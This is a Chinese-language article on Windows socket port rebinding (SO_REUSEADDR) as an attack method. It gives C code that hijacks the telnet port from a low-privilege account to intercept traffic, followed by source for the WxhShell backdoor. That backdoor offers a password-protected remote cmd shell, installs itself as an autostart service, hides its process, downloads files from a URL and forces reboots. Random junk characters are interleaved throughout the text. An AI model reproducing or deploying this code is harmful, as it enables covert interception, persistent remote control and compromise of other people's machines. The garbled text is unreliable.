在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\a]\jZb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v|,H d '\*Rw]bR| saddr.sin_family = AF_INET;
rrwsj` TcfBfscU saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Jp-ae0 Ewa X)f"`$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|f?C*t', *u{.K:.I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1v\-jM" M*S5&xpX 这意味着什么?意味着可以进行如下的攻击:
fp![Pbms. dju&Ku
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{M~!?#<K 8:xQPd?3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o"1us75P }lb.3fqiA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#Aan v 0~1P&Qs<
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"^D6%I#T NJtB ; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
eu:_V+ ;W*$<~_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E0DEFB eXaDx%mM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Rt:PW}rFf GKd>AP_ #include
zuPH3Q={ #include
KnFbRhu[ #include
#EM'=Q%TO #include
#129 i2 DWORD WINAPI ClientThread(LPVOID lpParam);
v/haUPWF\ int main()
|B`tRq {
?GC0dN WORD wVersionRequested;
_INUJc DWORD ret;
t2SZ]|C WSADATA wsaData;
5#F+-9r BOOL val;
`cv:p|s SOCKADDR_IN saddr;
ha),N<' SOCKADDR_IN scaddr;
>PJ-Z~O'
int err;
5k(#kyP SOCKET s;
68!fcK SOCKET sc;
vxt^rBA int caddsize;
,RHHNTB(" HANDLE mt;
-oo=IUk DWORD tid;
o_N02l4J) wVersionRequested = MAKEWORD( 2, 2 );
Ji[w; [qL err = WSAStartup( wVersionRequested, &wsaData );
g:clSN, if ( err != 0 ) {
'~cEdGD9H printf("error!WSAStartup failed!\n");
VV4_ return -1;
>lW*%{|b$^ }
J@TM>R saddr.sin_family = AF_INET;
3*TS
4xX Ja&%J: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W*m[t&; 4dK@UN\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^Bb_NcU saddr.sin_port = htons(23);
)pLq^j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>`uS NY"tO {
Vel;t<1 printf("error!socket failed!\n");
u@EM,o return -1;
{EUH#': }
$g};u[y val = TRUE;
&F}+U#H //SO_REUSEADDR选项就是可以实现端口重绑定的
}sU\6~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
KV*:,> {
B# fzMaC printf("error!setsockopt failed!\n");
1X*T219o return -1;
K?je(t^ }
9wAc&nl-Y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
a=FRJQ8S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@^%_ir( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
v^pP&
<G kI'A`
/Bl if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`[\phv {
^-!HbbVv ret=GetLastError();
[VW;L l printf("error!bind failed!\n");
zFr} $ return -1;
9%qMZP0] }
Mg$9'a"[\ listen(s,2);
>i%w'uU while(1)
uLM_KZ {
+CT$/k caddsize = sizeof(scaddr);
eNFUjDm //接受连接请求
ODEXQl}R sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wjJ1Psnx if(sc!=INVALID_SOCKET)
'5U$`Xe1 {
2&fwr>!$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!y`e,(E if(mt==NULL)
["<(\v9P) {
jTr4A-" printf("Thread Creat Failed!\n");
;NeP&)Td break;
,<^HB+{Wo }
ha=z<Q }
=>
=x0gsgj CloseHandle(mt);
,`zRlkX }
i)i)3K2 closesocket(s);
Ekme62Q>u WSACleanup();
k#JG return 0;
K, 5ax@ }
l%(`<a]VIB DWORD WINAPI ClientThread(LPVOID lpParam)
\ZRoTh {
] <3?=$ SOCKET ss = (SOCKET)lpParam;
1qe^rz| SOCKET sc;
%UQB?dkf$ unsigned char buf[4096];
'kvFU_) SOCKADDR_IN saddr;
N-9gfG long num;
nln6:^w DWORD val;
S "Pj1 DWORD ret;
R?~h7 d //如果是隐藏端口应用的话,可以在此处加一些判断
Z3>xpw G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~+egu89'TU saddr.sin_family = AF_INET;
jYX9;C;J saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
tC:,!4 P$ saddr.sin_port = htons(23);
TrU@mYnE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
je4&'vyU {
bV*zMoD# printf("error!socket failed!\n");
A9Wqz"[ return -1;
vfUfrk@D~ }
YB~t|m65 val = 100;
~<-
ci if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gQ[^gPWP" {
$3.vVnc ret = GetLastError();
(mIJI,[xn return -1;
lp-Zx[#`}C }
Cw&D} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G5#}Ed4 {
)?&kQ^@v ret = GetLastError();
Y;F
R"~^ return -1;
?s)sPM? }
,Kf8T9z` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pptM&Y {
MlK`sH6 printf("error!socket connect failed!\n");
zWs*kTtA closesocket(sc);
.*~u closesocket(ss);
/cC6qhkp% return -1;
YOV4)P" }
E97+GJ3 while(1)
h<1dTl* {
$7&l6~sMQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5f'g3' //如果是嗅探内容的话,可以再此处进行内容分析和记录
xY'qm8V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
NTXL>Q*e num = recv(ss,buf,4096,0);
nH>V Da if(num>0)
uy _i{Y| send(sc,buf,num,0);
&s^>S?L- else if(num==0)
Ogke*qM break;
%y\eBfW,/ num = recv(sc,buf,4096,0);
RC{Z)M{~ if(num>0)
aXbNDj
][ send(ss,buf,num,0);
B UQn+;be else if(num==0)
D5!K<G?-K break;
%7>AcTN~ }
3V
Mh) closesocket(ss);
CQjZAv
closesocket(sc);
[s{r$!Gl return 0 ;
Y3$PQwn
.P }
25a#eDbqi PIEW \i rW~?0 ==========================================================
sh(kRrdY3 *rn]/w8ZW 下边附上一个代码,,WXhSHELL
}d~wDg<# '"w}gx ==========================================================
c@9Z&2) x , Vh #include "stdafx.h"
4Wla&yy 1Y"35)CR) #include <stdio.h>
=Esbeb7P #include <string.h>
dmaqXsU8q #include <windows.h>
z/0yO@_D/q #include <winsock2.h>
}WO9!E( #include <winsvc.h>
EARfbb"SG7 #include <urlmon.h>
JC&6q>$ )y`TymM[F #pragma comment (lib, "Ws2_32.lib")
oB0 8 #pragma comment (lib, "urlmon.lib")
] `B,L*m6 N$%61GiulT #define MAX_USER 100 // 最大客户端连接数
>{ECyh; #define BUF_SOCK 200 // sock buffer
&7($kj #define KEY_BUFF 255 // 输入 buffer
r2SJp@f w.D4dv_H #define REBOOT 0 // 重启
o9i#N #define SHUTDOWN 1 // 关机
Qb?y@>-[ AGEZ8(h #define DEF_PORT 5000 // 监听端口
ByhOK}u;P4 3|~(?4aE #define REG_LEN 16 // 注册表键长度
V9zywM #define SVC_LEN 80 // NT服务名长度
dqD;y#/ *f `s%&Y]s // 从dll定义API
i0'Xy>l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
&gWMl`3^*! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@TA8^ND typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
JN&MyA" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m)@Q_{=6M Mr=}B6` // wxhshell配置信息
K5!";V struct WSCFG {
3s?v(1 {) int ws_port; // 监听端口
_b0S char ws_passstr[REG_LEN]; // 口令
m|[\F#+C int ws_autoins; // 安装标记, 1=yes 0=no
nY{i>Y char ws_regname[REG_LEN]; // 注册表键名
NokXE char ws_svcname[REG_LEN]; // 服务名
U~{Sa+ char ws_svcdisp[SVC_LEN]; // 服务显示名
gb=80s0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
YER:ICQ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ZI58XS+ int ws_downexe; // 下载执行标记, 1=yes 0=no
DYo<5^0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
wi\z>'R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Y_[g_ 068WlF cWV };
y _'e yR@) C~ZE95g // default Wxhshell configuration
3VcT7y*{P struct WSCFG wscfg={DEF_PORT,
$R%+* "xuhuanlingzhe",
U_x0KIm 1,
J 16=!q() "Wxhshell",
1Q&cVxA"\ "Wxhshell",
tLS<0 "WxhShell Service",
E\R raPkQT "Wrsky Windows CmdShell Service",
Z!wD~C"D73 "Please Input Your Password: ",
d[Rb:Yw 1,
|h^K M "
http://www.wrsky.com/wxhshell.exe",
;JOD!| "Wxhshell.exe"
"H5&3sF2 };
*>e~_{F |x d@M-ln // 消息定义模块
j:HH#U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
A$7Eo`Of char *msg_ws_prompt="\n\r? for help\n\r#>";
7<EJo$-j char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
fd?bU|I_2 char *msg_ws_ext="\n\rExit.";
h'B9|Cm char *msg_ws_end="\n\rQuit.";
<K.Bq] char *msg_ws_boot="\n\rReboot...";
j6n2dMRvSE char *msg_ws_poff="\n\rShutdown...";
#"Fg%36Zd char *msg_ws_down="\n\rSave to ";
99F>n[5 E x_L!9>! char *msg_ws_err="\n\rErr!";
D^,\cZbY char *msg_ws_ok="\n\rOK!";
M'\pkzx CxJfrI_W char ExeFile[MAX_PATH];
pNp^q/-yB int nUser = 0;
J3H.%m!V HANDLE handles[MAX_USER];
KU+( YF$1 int OsIsNt;
d@-wi%,^ YO)')& SERVICE_STATUS serviceStatus;
LIr(mB"Y0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
R]CZw;zS_ 3hc#FmLr2b // 函数声明
`6rrXU6| int Install(void);
T|;^.TZ int Uninstall(void);
McEmd.S<n int DownloadFile(char *sURL, SOCKET wsh);
}l.KpdRT2 int Boot(int flag);
LkaG8#m1R void HideProc(void);
M$,Jg5Dc int GetOsVer(void);
dav vI$TA int Wxhshell(SOCKET wsl);
k?^%hO>[ void TalkWithClient(void *cs);
,q8(]n4 int CmdShell(SOCKET sock);
(-bRj# int StartFromService(void);
N\_( w:q int StartWxhshell(LPSTR lpCmdLine);
"3@KRb4f 9n_ eCb)H VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
XK1fHfCEa VOID WINAPI NTServiceHandler( DWORD fdwControl );
Tv`_n2J`2 /r-8T>m // 数据结构和表定义
xC)7eQn/R SERVICE_TABLE_ENTRY DispatchTable[] =
4w@v#H@ {
N%O[ {wscfg.ws_svcname, NTServiceMain},
a|UqeNI{ {NULL, NULL}
r k@UsHy };
- dl}_ 0[lS(K // 自我安装
?^U c= int Install(void)
BApa^j\? {
`Gf{z%/ char svExeFile[MAX_PATH];
SLSF
<$ HKEY key;
GL/ KB strcpy(svExeFile,ExeFile);
/a%*u6z@ 9QX4R<"wUg // 如果是win9x系统,修改注册表设为自启动
l#Yx
TY if(!OsIsNt) {
7k>zuzRyF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q5g,7ac8L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bpGzTU RegCloseKey(key);
HP;|'b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VR"8Di&) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MM7"a?y) RegCloseKey(key);
s}jlS return 0;
1sD~7KPg? }
#
2d,U\_ }
PDhWFF }
r9?o$=T else {
n-d:O\] NNgK:YibD // 如果是NT以上系统,安装为系统服务
@Eo4U]- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
kr#I{gF if (schSCManager!=0)
~fBex_.o* {
U>oW~Z SC_HANDLE schService = CreateService
0k%hY{ (
'X54dXS?l schSCManager,
}0Y`|H\v wscfg.ws_svcname,
NJ<N %hcjK wscfg.ws_svcdisp,
`y'aH
'EEd SERVICE_ALL_ACCESS,
):S!Nl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2pz4rc SERVICE_AUTO_START,
$1~c_<DN SERVICE_ERROR_NORMAL,
uw_H:-J svExeFile,
~,T+JX NULL,
Oohq9f#! NULL,
)qmFK
.;% NULL,
goB;EWz NULL,
gd
K*"U NULL
F,zG;_ );
_1P`]+K\D$ if (schService!=0)
)'`CC>Q {
|!oXvXU CloseServiceHandle(schService);
lO[E[c G CloseServiceHandle(schSCManager);
q4)Ey strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
GJvp{U}y9I strcat(svExeFile,wscfg.ws_svcname);
n_J5zQJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Gh'X.?3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
f -7S:, RegCloseKey(key);
S4)A6z$ return 0;
kAeNQRjR }
[NL -! }
y[7C% Wj CloseServiceHandle(schSCManager);
5\&]J7( }
Uh}+"h5 }
nW11wtiO. g**5z'7 return 1;
^Wm*-4 }
vnL?O8`c JxHv<p[ // 自我卸载
'^DUq?E4 int Uninstall(void)
'=p? {
BR3wX4i\ HKEY key;
-n-Z/5~ X "
<Qm
- if(!OsIsNt) {
s@PLS5d" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
QypZH"Np RegDeleteValue(key,wscfg.ws_regname);
\ZsP]};* RegCloseKey(key);
2
^oGwx @ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@C=m?7O98 RegDeleteValue(key,wscfg.ws_regname);
L$kgK# T RegCloseKey(key);
oK$'9c5< return 0;
RbKwO}
z$q }
t| _{;!^
}
FD))'!> }
94y9W# else {
6P^hN%0 ~pRs- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
j$mz3Yk if (schSCManager!=0)
0X#+#[W {
!UVk9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
a(f(R&-:$Y if (schService!=0)
'mJ13 {
R B%:h-t4 if(DeleteService(schService)!=0) {
@%:E } CloseServiceHandle(schService);
h"r!q[MNo CloseServiceHandle(schSCManager);
@<a| return 0;
M|H2kvl }
9OfU7_m CloseServiceHandle(schService);
9>;} /*:H }
ZL,8,;] CloseServiceHandle(schSCManager);
[1U{ci&=p }
"O``7HA} }
v1h.pbz`w DL1
+c`d return 1;
~U3Seo } }
w{r8kH Cg^:jd // 从指定url下载文件
;t!9]1 int DownloadFile(char *sURL, SOCKET wsh)
>8(jW {
'B,KFA< HRESULT hr;
($'V&x8T char seps[]= "/";
.lr5!Stb char *token;
#"<?_fao~ char *file;
J
3B`Krh char myURL[MAX_PATH];
M9DgO4xl char myFILE[MAX_PATH];
9(Jy0]E~ R(`]n!V2 strcpy(myURL,sURL);
gs>A=A(VYf token=strtok(myURL,seps);
w&5/Zh[~~L while(token!=NULL)
ntZ~m {
"[.ne)/MC file=token;
+KP_yUq[ token=strtok(NULL,seps);
fK"iF@=Z` }
qX?[mdCHZ
7O$ & GetCurrentDirectory(MAX_PATH,myFILE);
*Dc@CmBr strcat(myFILE, "\\");
YD9!=a$ strcat(myFILE, file);
X.eB ;w/} send(wsh,myFILE,strlen(myFILE),0);
e5 3,Rqi)@ send(wsh,"...",3,0);
TRy^hr8~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Fpf><Rn if(hr==S_OK)
WL:0R>0 return 0;
c 6q/X* else
"koo` J return 1;
*6P'q4) e=L*&X }
0qR$J 59Nd}wPO; // 系统电源模块
\447]<u int Boot(int flag)
8)?_{ {
#N9d$[R* HANDLE hToken;
N%u TOKEN_PRIVILEGES tkp;
U6c@Et , .
pP7"E4] if(OsIsNt) {
A2BRbwr> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
="2/\*.SL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
G
B&:G V tkp.PrivilegeCount = 1;
shzG
Eb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
B\0t&dai|' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Qsji0ikG if(flag==REBOOT) {
y!5:dvt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7>&1nBh. f return 0;
}LQ\a8]< }
$Elkhe]O % else {
RY<%'\A`~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[xf$VkjuF return 0;
Y/D-V }
HU9p!I. }
`x2,;h!:)N else {
& g$rrpTzv if(flag==REBOOT) {
73)Ll"( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ZPvf-PqJl return 0;
CW;m }
sUV>@UMnu else {
0Z8/R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)cKj iXn return 0;
{G%3*=?,j }
hIo0S8MOj$ }
}Aw47;5q; oLw|uU-| return 1;
r&Qt_ }
b!,ja? H:{?3gk.P3 // win9x进程隐藏模块
0R4akLW0 void HideProc(void)
&~ y{'zoL {
*v&*% B }H2#H7!H HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
l?<q
YjI if ( hKernel != NULL )
+`Fb_m)f {
gi1j/j7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Oq}ip ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ck@M<(x FreeLibrary(hKernel);
B.RRdK+: }
y;r"+bS8 #<]Iz'\` return;
Wp`C:H }
3C#RjA-2[ zb?kpd}r // 获取操作系统版本
7*MU2gb int GetOsVer(void)
o$t
&MST?i {
P=Puaz5&{ OSVERSIONINFO winfo;
4i`S+`# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>j:|3atb GetVersionEx(&winfo);
MX?}?"y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5QOZ%9E&M return 1;
]!J<,f7W else
ki3 HcV return 0;
-O %[!&` }
5;(0 $4I W} Zb~[, // 客户端句柄模块
gwJ}]Tf int Wxhshell(SOCKET wsl)
z'*ml ? {
6i-*N[!U SOCKET wsh;
71*>L}H struct sockaddr_in client;
PF67z]<o DWORD myID;
v4C3uNW ee^4KKsh\ while(nUser<MAX_USER)
9?(x>P {
T\fudmj& int nSize=sizeof(client);
Az9J\V~" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8F)=n \ if(wsh==INVALID_SOCKET) return 1;
NA\ x< +[_gyLN<5b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
NZfd_? 3 if(handles[nUser]==0)
'QR4~`6I closesocket(wsh);
ET3,9+Gj else
=EWD
|< nUser++;
/cYk+c
}
F@EZ;[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K k`<f d G>JxIrN0 return 0;
J+iX,X }
z1FL8= Bd8hJA // 关闭 socket
nSS}%&a:LX void CloseIt(SOCKET wsh)
GRy4cb2 {
O'fc/cvh=' closesocket(wsh);
M&OsRrq nUser--;
Xj(>.E{~H ExitThread(0);
kR_E6Fl }
m
EFWo [?|5oaK // 客户端请求句柄
pj+tjF6Np void TalkWithClient(void *cs)
PK8V2Ttv {
Rd0?zEKV B]i+,u SOCKET wsh=(SOCKET)cs;
=uS8>.Qj char pwd[SVC_LEN];
TtZrttCE6 char cmd[KEY_BUFF];
`!_? uT char chr[1];
N4s$.` int i,j;
v >NTh IQ#So]9~Y while (nUser < MAX_USER) {
|\/~
8qP E tdd\^ if(wscfg.ws_passstr) {
dbd"pR 8v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I'P!,Y/> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$:P[v+Uy //ZeroMemory(pwd,KEY_BUFF);
=O;eY ? i=0;
>H8^0n)? while(i<SVC_LEN) {
|]I#CdO ,d5ia4\K // 设置超时
nMeS CX fd_set FdRead;
Of!|,2`( struct timeval TimeOut;
7;~2e FD_ZERO(&FdRead);
oUCVd}wH FD_SET(wsh,&FdRead);
:%pw`b, =V TimeOut.tv_sec=8;
[&fWF~D-p< TimeOut.tv_usec=0;
/1U,+g^O> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
aQC7 V !v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
E|\3f(aF V`U/'N-ay if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
N#mK7|\c?: pwd
=chr[0]; dfnX!C~6 \
if(chr[0]==0xd || chr[0]==0xa) { ]D?oQ$q7
pwd=0; omr:C8T>
break; -B",&yTV
} XPrY`,kN
i++; Fv<]mu
} N{|[R
g\E ._ab<
// 如果是非法用户,关闭 socket f.sPE8#3=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0GF%~6
} s8C:QC
UX03"gX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *pmoLiuB>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bXk:~LE
x`wZtv\
while(1) { aIY$5^x
9[B<rz
ZeroMemory(cmd,KEY_BUFF); E\W;:p,{A
>I{4
// 自动支持客户端 telnet标准 @:I\\S@bN
j=0; 4+ykE:
while(j<KEY_BUFF) { [<,0A]m
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NWaI[P
cmd[j]=chr[0]; }kpfJLjY
if(chr[0]==0xa || chr[0]==0xd) { }x>}:"P;W
cmd[j]=0; X+fuhcn
break; K%o6hBlk_
} T
"ZQPLg
j++; @DRfNJ}
} \3,$YlG
% jYQ
// 下载文件 ,%&
LG],6
if(strstr(cmd,"http://")) { Aigcq38
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \>&@lA
if(DownloadFile(cmd,wsh)) V7qCbd^>XJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1v+JCOy
else q_OY sg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BHIZHp
} uMljH@xBc
else { 2y&_Z^kI?
;F"
kD
switch(cmd[0]) { }?\#_BCjx(
sASAsGk<
// 帮助
dfYYyE
case '?': { h'z+8X_t
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OLhWkN,qA
break; T<w*dX7F0K
} cN0~;!{i
// 安装 XY&]T'A
case 'i': { g^Ugl=f,
if(Install()) /S-/SF:>g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TW;|G'}$
else ^Y1AeJ$L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E1mI Xd;.
break; N>uZ t2
} p0%6@_FT~
// 卸载 0`aHwt/F
case 'r': { 81%qM7v9H
if(Uninstall()) WHdqO8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VyBJIzs0
else M9ter&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y&KoL\
break; qkZ5+2m
} UvW:#
// 显示 wxhshell 所在路径 +3~Gc<OO
case 'p': { giA~+m~fN
char svExeFile[MAX_PATH]; Z`0r]V`Ys
strcpy(svExeFile,"\n\r"); *IjdN,wox
strcat(svExeFile,ExeFile); ^Y*`D_-G
send(wsh,svExeFile,strlen(svExeFile),0); f6(9wz$Trt
break; O4'kS
@
} ?[*@T2Ck
// 重启 W}<M?b4tP
case 'b': { "OlI-^y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ys~p(
if(Boot(REBOOT)) NUxAv= xl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ B}c4,
else { [|m>vY!
closesocket(wsh); &})4?5
ExitThread(0); .yHHogbt
} ID{Pzmt-
break; 8O;rp(N.n
} }SJLBy0
// 关机 .aAw7LW
case 'd': { "=v J}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <W^XSk
if(Boot(SHUTDOWN)) =_H*fhXS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ux/[d6To
else { A+bubH,
closesocket(wsh); " N`V*0h
ExitThread(0); %3@RZe
} cE_Xo.:Y,
break; :Z7"c`6L!~
} x"h)"Y[c5
// 获取shell :a^,Ei-&
case 's': { I_Mqh4];
CmdShell(wsh); 0
6G[^
closesocket(wsh); D=pI'5&
ExitThread(0); XQ4^:3Yc
break; v=yI#5
} QBBJ1U
// 退出 [K|>s(Sf*
case 'x': { Br.$L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J?HZ,7X:
CloseIt(wsh); + - KRp1qq
break; <}x|@u
} MIMPJXT#.
// 离开 )MX1776kU
case 'q': { ?-6x]l=]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); O}\"$n>
closesocket(wsh); &&QDEDszp
WSACleanup(); hnfrnYH
exit(1); QeOt;{_|
break; S92!jp/
} MM58w3Mz
} ]aMa*fF
} ~]t2?SqNm
yI)RGOV
// 提示信息 (/rIodHJO
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3
v,ae7$U&
} F" #3s=
} SUFaHHk@/b
m} FCe
return; O.40^u~
} IB]VPj5
&V,-W0T_
// shell模块句柄 AQBx
k[
int CmdShell(SOCKET sock) `X]2iz
{ 1wH/ #K
STARTUPINFO si; HU.6L'H*
ZeroMemory(&si,sizeof(si)); Ul~}@^m]4}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ivgwm6M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @SMy0:c:
PROCESS_INFORMATION ProcessInfo; {TN@KB
char cmdline[]="cmd"; 7_d#XKz@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;hJ/t/7
return 0; #lVl?F+~
} DuC u6j
@OL3&R
// 自身启动模式 [8J}da }
int StartFromService(void) ~Sem_U`G
{ ''
A[`,3
typedef struct 1J%qbh
{ :R?| 2l
DWORD ExitStatus; V/[,1W[B
DWORD PebBaseAddress; 5<GRi"7A@
DWORD AffinityMask; <?va)
ou
DWORD BasePriority; I`}vdX)
ULONG UniqueProcessId; EA{*%9 A
